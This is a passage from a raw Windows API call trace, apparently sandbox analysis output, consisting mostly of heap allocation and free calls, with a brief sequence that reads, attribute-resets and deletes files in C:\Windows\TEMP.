(HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22195b8 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219600 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219648 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219690 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22196d8 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219720 [0045.172] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219768 [0045.172] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\guA968.tmp" (normalized: "c:\\windows\\temp\\gua968.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5bc | out: lpFileInformation=0x53f5bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ef15850, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x2ef15850, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x2feb48b0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x178)) returned 1 [0045.172] CreateFileW (lpFileName="C:\\Windows\\TEMP\\guA968.tmp" (normalized: "c:\\windows\\temp\\gua968.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0045.172] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x53f600, lpLastWriteTime=0x53f600) returned 0 [0045.172] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x53f5ec | out: lpFileSizeHigh=0x53f5ec*=0x0) returned 0x178 [0045.173] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x53f5f8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x53f5f8*=0) returned 0x0 [0045.173] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x180) returned 0x22129e0 [0045.173] ReadFile (in: hFile=0x148, lpBuffer=0x22129e0, nNumberOfBytesToRead=0x178, lpNumberOfBytesRead=0x53f62c, lpOverlapped=0x0 | out: lpBuffer=0x22129e0*, lpNumberOfBytesRead=0x53f62c*=0x178, lpOverlapped=0x0) returned 1 [0045.173] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x180) returned 0x2213468 [0045.173] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22129e0) returned 1 [0045.173] NtClose (Handle=0x148) returned 0x0 [0045.173] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\guA968.tmp" (normalized: "c:\\windows\\temp\\gua968.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5fc | out: lpFileInformation=0x53f5fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ef15850, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x2ef15850, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x2feb48b0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x178)) returned 1 [0045.173] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\guA968.tmp", dwFileAttributes=0x80) returned 1 [0045.173] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\guA968.tmp" (normalized: "c:\\windows\\temp\\gua968.tmp")) returned 1 [0045.174] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\jA969.tmp" (normalized: "c:\\windows\\temp\\ja969.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5fc | out: lpFileInformation=0x53f5fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ef15850, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x2ef15850, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x2ef15850, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.174] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\jA969.tmp", dwFileAttributes=0x80) returned 1 [0045.174] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\jA969.tmp" (normalized: "c:\\windows\\temp\\ja969.tmp")) returned 1 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x180) returned 0x22129e0 [0045.175] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2213468) returned 1 [0045.175] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0045.175] NtClose (Handle=0x150) returned 0x0 [0045.175] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2213060) returned 1 [0045.175] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212c58) returned 1 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x180) returned 0x2212b68 [0045.175] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22129e0) returned 1 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d630 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d278 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0045.175] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d268 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219840 [0045.175] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219888 [0045.175] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2f8 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22198d0 [0045.175] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.175] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90bc08 [0045.175] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d630) returned 1 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d308 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219918 [0045.176] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d318 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219960 [0045.176] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d328 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0045.176] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d338 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199f0 [0045.176] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x30) returned 0x90ff98 [0045.176] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bc08) returned 1 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d348 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x30) returned 0x90bc08 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d358 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a38 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d368 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d378 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219ac8 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d388 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b10 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d398 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3a8 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219ba0 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3b8 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219be8 [0045.176] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3c8 [0045.177] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219c30 [0045.177] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3d8 [0045.177] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219c78 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d278) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219840) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d268) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219888) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22198d0) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2f8) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219918) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d308) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219960) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d318) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d328) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199f0) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d338) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d348) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ff98) returned 1 [0045.177] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d630 [0045.177] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d348 [0045.177] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.177] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199f0 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199f0) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d348) returned 1 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d630) returned 1 [0045.177] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.177] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d630 [0045.177] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d348 [0045.177] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199f0 [0045.177] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d338 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d328 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219960 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d318 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d648 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d308 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219918 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2f8 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22198d0 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219888 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d268 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219840 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199f0) returned 1 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d348) returned 1 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d338) returned 1 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219960) returned 1 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d328) returned 1 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d318) returned 1 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d630) returned 1 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.178] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.178] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d630 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d318 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d328 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219960 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d338 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d348 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199f0 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219918) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d308) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22198d0) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2f8) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219888) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219840) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d268) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d648) returned 1 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d648 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d268 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219840 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219888 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2f8 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22198d0 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d308 [0045.179] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219918 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d318) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219960) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d328) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d338) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199f0) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d348) returned 1 [0045.179] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d630) returned 1 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d630 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d348 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199f0 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d338 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d328 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219960 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d318 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219840) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d268) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219888) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22198d0) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2f8) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219918) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d308) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d648) returned 1 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d648 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d308 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219918 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219918) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d308) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d648) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199f0) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d348) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d338) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219960) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d328) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d318) returned 1 [0045.180] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d630) returned 1 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.180] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d630 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d318 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219960 [0045.181] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d328 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0045.181] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d338 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199f0 [0045.181] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d348 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219918 [0045.181] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90ff98 [0045.181] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d630) returned 1 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d308 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22198d0 [0045.181] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2f8 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219888 [0045.181] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219840 [0045.181] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, 